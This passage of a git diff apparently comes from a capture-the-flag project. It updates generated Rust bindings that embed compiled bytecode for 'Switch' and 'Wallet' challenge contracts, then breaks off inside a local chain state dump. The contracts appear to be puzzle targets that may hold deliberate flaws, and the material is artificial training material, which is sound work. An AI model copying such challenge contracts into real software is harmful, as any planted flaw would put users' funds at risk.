\x01a\0\xA0V[30\x14a\x01\"W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0\x80T`\xFF\x19\x16\x90UV[a\x016a\x02\xB3V[`\x04`D\x827`\0T\x81Qa\x01\0\x90\x91\x04`\xE0\x1B`\x01`\x01`\xE0\x1B\x03\x19\x16\x14a\x01\xB2W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`(`$\x82\x01R\x7FCan only call the turnOffSwitch `D\x82\x01Rg3:\xB71\xBA4\xB7\xB7`\xC1\x1B`d\x82\x01R`\x84\x01a\x01\x19V[`\x000`\x01`\x01`\xA0\x1B\x03\x16\x83`@Qa\x01\xCC\x91\x90a\x03\x98V[`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x02\tW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x02\x0EV[``\x91P[PP\x90P\x80a\x02PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01Rm\x0Cl-\x8D\x84\x0C\xCC--\x8C\xAC\x84\x07E`\x93\x1B`D\x82\x01R`d\x01a\x01\x19V[PPPV[30\x14a\x02\xA4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01a\x01\x19V[`\0\x80T`\xFF\x19\x16`\x01\x17\x90UV[`@Q\x80` \x01`@R\x80`\x01\x90` \x82\x02\x806\x837P\x91\x92\x91PPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\x02\xF9W`\0\x80\xFD[\x815g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x03\x11W`\0\x80\xFD[\x81\x84\x01\x91P\x84`\x1F\x83\x01\x12a\x03%W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x037Wa\x037a\x02\xD1V[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x03_Wa\x03_a\x02\xD1V[\x81`@R\x82\x81R\x87` \x84\x87\x01\x01\x11\x15a\x03xW`\0\x80\xFD[\x82` \x86\x01` \x83\x017`\0\x92\x81\x01` \x01\x92\x90\x92RP\x95\x94PPPPPV[`\0\x82Q`\0[\x81\x81\x10\x15a\x03\xB9W` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x03\x9FV[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 [Z7\xFC;&\x9A\xE1\xD9\xA3\xF1=\xBD\xFC\x7F\\R\xE8\0\xB1e\x0C>\x87\x0C\x8Ck^I$a_dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static SWITCH_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c `n\x15\x14a\0\\W\x80c0\xC1:\xDE\x14a\0fW\x80cZ,\xFAf\x14a\0yW\x80cv\"~\x12\x14a\0\xA9W\x80c\xF9\xF8\xF8\x95\x14a\0\xB1W[`\0\x80\xFD[a\0da\0\xCEV[\0[a\0da\0t6`\x04a\x02\xE7V[a\x01.V[`\0Ta\0\x8B\x90a\x01\0\x90\x04`\xE0\x1B\x81V[`@Q`\x01`\x01`\xE0\x1B\x03\x19\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0da\x02UV[`\0Ta\0\xBE\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0\xA0V[30\x14a\x01\"W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0\x80T`\xFF\x19\x16\x90UV[a\x016a\x02\xB3V[`\x04`D\x827`\0T\x81Qa\x01\0\x90\x91\x04`\xE0\x1B`\x01`\x01`\xE0\x1B\x03\x19\x16\x14a\x01\xB2W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`(`$\x82\x01R\x7FCan only call the turnOffSwitch `D\x82\x01Rg3:\xB71\xBA4\xB7\xB7`\xC1\x1B`d\x82\x01R`\x84\x01a\x01\x19V[`\x000`\x01`\x01`\xA0\x1B\x03\x16\x83`@Qa\x01\xCC\x91\x90a\x03\x98V[`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x02\tW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x02\x0EV[``\x91P[PP\x90P\x80a\x02PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01Rm\x0Cl-\x8D\x84\x0C\xCC--\x8C\xAC\x84\x07E`\x93\x1B`D\x82\x01R`d\x01a\x01\x19V[PPPV[30\x14a\x02\xA4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01a\x01\x19V[`\0\x80T`\xFF\x19\x16`\x01\x17\x90UV[`@Q\x80` \x01`@R\x80`\x01\x90` \x82\x02\x806\x837P\x91\x92\x91PPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\x02\xF9W`\0\x80\xFD[\x815g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x03\x11W`\0\x80\xFD[\x81\x84\x01\x91P\x84`\x1F\x83\x01\x12a\x03%W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x037Wa\x037a\x02\xD1V[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x03_Wa\x03_a\x02\xD1V[\x81`@R\x82\x81R\x87` \x84\x87\x01\x01\x11\x15a\x03xW`\0\x80\xFD[\x82` \x86\x01` \x83\x017`\0\x92\x81\x01` \x01\x92\x90\x92RP\x95\x94PPPPPV[`\0\x82Q`\0[\x81\x81\x10\x15a\x03\xB9W` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x03\x9FV[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 \xD5\x86\x02^\xA4(\xD6g\xA1\x18bo\xABS\xDF\x18V\x7FP\xCCX8\xAE\xC5N\xB5/k7\xC0CKdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c `n\x15\x14a\0\\W\x80c0\xC1:\xDE\x14a\0fW\x80cZ,\xFAf\x14a\0yW\x80cv\"~\x12\x14a\0\xA9W\x80c\xF9\xF8\xF8\x95\x14a\0\xB1W[`\0\x80\xFD[a\0da\0\xCEV[\0[a\0da\0t6`\x04a\x02\xE7V[a\x01.V[`\0Ta\0\x8B\x90a\x01\0\x90\x04`\xE0\x1B\x81V[`@Q`\x01`\x01`\xE0\x1B\x03\x19\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0da\x02UV[`\0Ta\0\xBE\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0\xA0V[30\x14a\x01\"W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0\x80T`\xFF\x19\x16\x90UV[a\x016a\x02\xB3V[`\x04`D\x827`\0T\x81Qa\x01\0\x90\x91\x04`\xE0\x1B`\x01`\x01`\xE0\x1B\x03\x19\x16\x14a\x01\xB2W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`(`$\x82\x01R\x7FCan only call the turnOffSwitch `D\x82\x01Rg3:\xB71\xBA4\xB7\xB7`\xC1\x1B`d\x82\x01R`\x84\x01a\x01\x19V[`\x000`\x01`\x01`\xA0\x1B\x03\x16\x83`@Qa\x01\xCC\x91\x90a\x03\x98V[`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x02\tW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x02\x0EV[``\x91P[PP\x90P\x80a\x02PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01Rm\x0Cl-\x8D\x84\x0C\xCC--\x8C\xAC\x84\x07E`\x93\x1B`D\x82\x01R`d\x01a\x01\x19V[PPPV[30\x14a\x02\xA4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FOnly the contract can call this\0`D\x82\x01R`d\x01a\x01\x19V[`\0\x80T`\xFF\x19\x16`\x01\x17\x90UV[`@Q\x80` \x01`@R\x80`\x01\x90` \x82\x02\x806\x837P\x91\x92\x91PPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\x02\xF9W`\0\x80\xFD[\x815g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x03\x11W`\0\x80\xFD[\x81\x84\x01\x91P\x84`\x1F\x83\x01\x12a\x03%W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x037Wa\x037a\x02\xD1V[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x03_Wa\x03_a\x02\xD1V[\x81`@R\x82\x81R\x87` \x84\x87\x01\x01\x11\x15a\x03xW`\0\x80\xFD[\x82` \x86\x01` \x83\x017`\0\x92\x81\x01` \x01\x92\x90\x92RP\x95\x94PPPPPV[`\0\x82Q`\0[\x81\x81\x10\x15a\x03\xB9W` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x03\x9FV[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 [Z7\xFC;&\x9A\xE1\xD9\xA3\xF1=\xBD\xFC\x7F\\R\xE8\0\xB1e\x0C>\x87\x0C\x8Ck^I$a_dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static SWITCH_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/wallet.rs b/ctf/src/abi/wallet.rs index e4331a2..d023ff5 100644 --- a/ctf/src/abi/wallet.rs +++ b/ctf/src/abi/wallet.rs @@ -147,12 +147,12 @@ pub mod wallet { pub static WALLET_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x03\xA4\x80a\x002`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0\\W\x80c\x82\xE4ku\x14a\0\x8BW\x80c\x8D\xA5\xCB[\x14a\0\xA0W\x80c\xE4\x0B\x86X\x14a\0\xB3W\x80c\xF86\xAF\xCE\x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x9Ea\0\x996`\x04a\x031V[a\0\xD9V[\0[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\x9Ea\0\xC16`\x04a\x031V[a\x01&V[a\0\x9Ea\0\xD46`\x04a\x031V[a\x02)V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\x04W`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01QW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90\x83\x90\x83\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01\xA3W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xC7\x91\x90a\x03UV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x0EW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\"W=`\0\x80>=`\0\xFD[PPPPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02TW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\n\x91`\x01`\x01`\xA0\x1B\x03\x16\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x02\x9DW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xC1\x91\x90a\x03UV[\x10\x15a\x02\xE0W`@QcV\x9DE\xCF`\xE1\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc\xA9\x05\x9C\xBB`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x04\x83\x01R`\n`$\x83\x01R\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90`D\x01a\x01\xF4V[PV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\x19W`\0\x80\xFD[`\0` \x82\x84\x03\x12\x15a\x03CW`\0\x80\xFD[\x815a\x03N\x81a\x03\x1CV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x03gW`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \x16h\x16/\x15\xC9\xA5\xC3x\x0E\x9A\xBA\x1E`\x96\xF1\x9F\x1E|\xFE\xAABb\x1A\xC7\x1D\xBAX\x8E\xB1\x1E\xD6dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x03\xA4\x80a\x002`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0\\W\x80c\x82\xE4ku\x14a\0\x8BW\x80c\x8D\xA5\xCB[\x14a\0\xA0W\x80c\xE4\x0B\x86X\x14a\0\xB3W\x80c\xF86\xAF\xCE\x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x9Ea\0\x996`\x04a\x031V[a\0\xD9V[\0[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\x9Ea\0\xC16`\x04a\x031V[a\x01&V[a\0\x9Ea\0\xD46`\x04a\x031V[a\x02)V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\x04W`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01QW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90\x83\x90\x83\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01\xA3W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xC7\x91\x90a\x03UV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x0EW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\"W=`\0\x80>=`\0\xFD[PPPPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02TW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\n\x91`\x01`\x01`\xA0\x1B\x03\x16\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x02\x9DW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xC1\x91\x90a\x03UV[\x10\x15a\x02\xE0W`@QcV\x9DE\xCF`\xE1\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc\xA9\x05\x9C\xBB`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x04\x83\x01R`\n`$\x83\x01R\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90`D\x01a\x01\xF4V[PV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\x19W`\0\x80\xFD[`\0` \x82\x84\x03\x12\x15a\x03CW`\0\x80\xFD[\x815a\x03N\x81a\x03\x1CV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x03gW`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 d\x8D\xB7\x99\xED\xAB\xE9Q\x83\x8F\xFCJ\x03\xB6)\x95_x\x8A\xFD\x065\xF3\nj%\xD7a\x07\x1F\xE5\x94dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static WALLET_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0\\W\x80c\x82\xE4ku\x14a\0\x8BW\x80c\x8D\xA5\xCB[\x14a\0\xA0W\x80c\xE4\x0B\x86X\x14a\0\xB3W\x80c\xF86\xAF\xCE\x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x9Ea\0\x996`\x04a\x031V[a\0\xD9V[\0[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\x9Ea\0\xC16`\x04a\x031V[a\x01&V[a\0\x9Ea\0\xD46`\x04a\x031V[a\x02)V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\x04W`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01QW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90\x83\x90\x83\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01\xA3W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xC7\x91\x90a\x03UV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x0EW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\"W=`\0\x80>=`\0\xFD[PPPPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02TW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\n\x91`\x01`\x01`\xA0\x1B\x03\x16\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x02\x9DW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xC1\x91\x90a\x03UV[\x10\x15a\x02\xE0W`@QcV\x9DE\xCF`\xE1\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc\xA9\x05\x9C\xBB`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x04\x83\x01R`\n`$\x83\x01R\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90`D\x01a\x01\xF4V[PV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\x19W`\0\x80\xFD[`\0` \x82\x84\x03\x12\x15a\x03CW`\0\x80\xFD[\x815a\x03N\x81a\x03\x1CV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x03gW`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \x16h\x16/\x15\xC9\xA5\xC3x\x0E\x9A\xBA\x1E`\x96\xF1\x9F\x1E|\xFE\xAABb\x1A\xC7\x1D\xBAX\x8E\xB1\x1E\xD6dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0\\W\x80c\x82\xE4ku\x14a\0\x8BW\x80c\x8D\xA5\xCB[\x14a\0\xA0W\x80c\xE4\x0B\x86X\x14a\0\xB3W\x80c\xF86\xAF\xCE\x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x9Ea\0\x996`\x04a\x031V[a\0\xD9V[\0[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\x9Ea\0\xC16`\x04a\x031V[a\x01&V[a\0\x9Ea\0\xD46`\x04a\x031V[a\x02)V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\x04W`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01QW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90\x83\x90\x83\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01\xA3W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xC7\x91\x90a\x03UV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x0EW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\"W=`\0\x80>=`\0\xFD[PPPPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02TW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\n\x91`\x01`\x01`\xA0\x1B\x03\x16\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x02\x9DW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xC1\x91\x90a\x03UV[\x10\x15a\x02\xE0W`@QcV\x9DE\xCF`\xE1\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc\xA9\x05\x9C\xBB`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x04\x83\x01R`\n`$\x83\x01R\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90`D\x01a\x01\xF4V[PV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\x19W`\0\x80\xFD[`\0` \x82\x84\x03\x12\x15a\x03CW`\0\x80\xFD[\x815a\x03N\x81a\x03\x1CV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x03gW`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 d\x8D\xB7\x99\xED\xAB\xE9Q\x83\x8F\xFCJ\x03\xB6)\x95_x\x8A\xFD\x065\xF3\nj%\xD7a\x07\x1F\xE5\x94dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static WALLET_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/state.json b/state.json index 4223b80..bd5e544 100644 --- a/state.json +++ b/state.json @@ -1 +1 @@ -{"accounts":{"0x0000000000000000000000000000000000000000":{"nonce":0,"balance":"0xbcf1d90410cb10","code":"0x","storage":{}},"0x0000000000000000000000000000000000000a9e":{"nonce":0,"balance":"0x2710","code":"0x","storage":{}},"0x0165878a594ca255338adfa4d48449f69242eb8f":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c806318160ddd1461004657806370a0823114610060578063a9059cbb14610086575b600080fd5b61004e6100c6565b60408051918252519081900360200190f35b61004e6004803603602081101561007657600080fd5b50356001600160a01b03166100cc565b6100b26004803603604081101561009c57600080fd5b506001600160a01b0381351690602001356100e7565b604080519115158252519081900360200190f35b60015481565b6001600160a01b031660009081526020819052604090205490565b33600090815260208190526040808220805484900390556001600160a01b03939093168152919091208054909101905560019056fea2646970667358221220713976285be691d42714c77e6b9e0fce7b85e3c16bb3e803dc78215d6463637564736f6c63430006060033","storage":{"0x1":"0x1406f40","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x1406f2c","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x14"}},"0x04fc820176617a99ae134904935bc854b2e51628":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003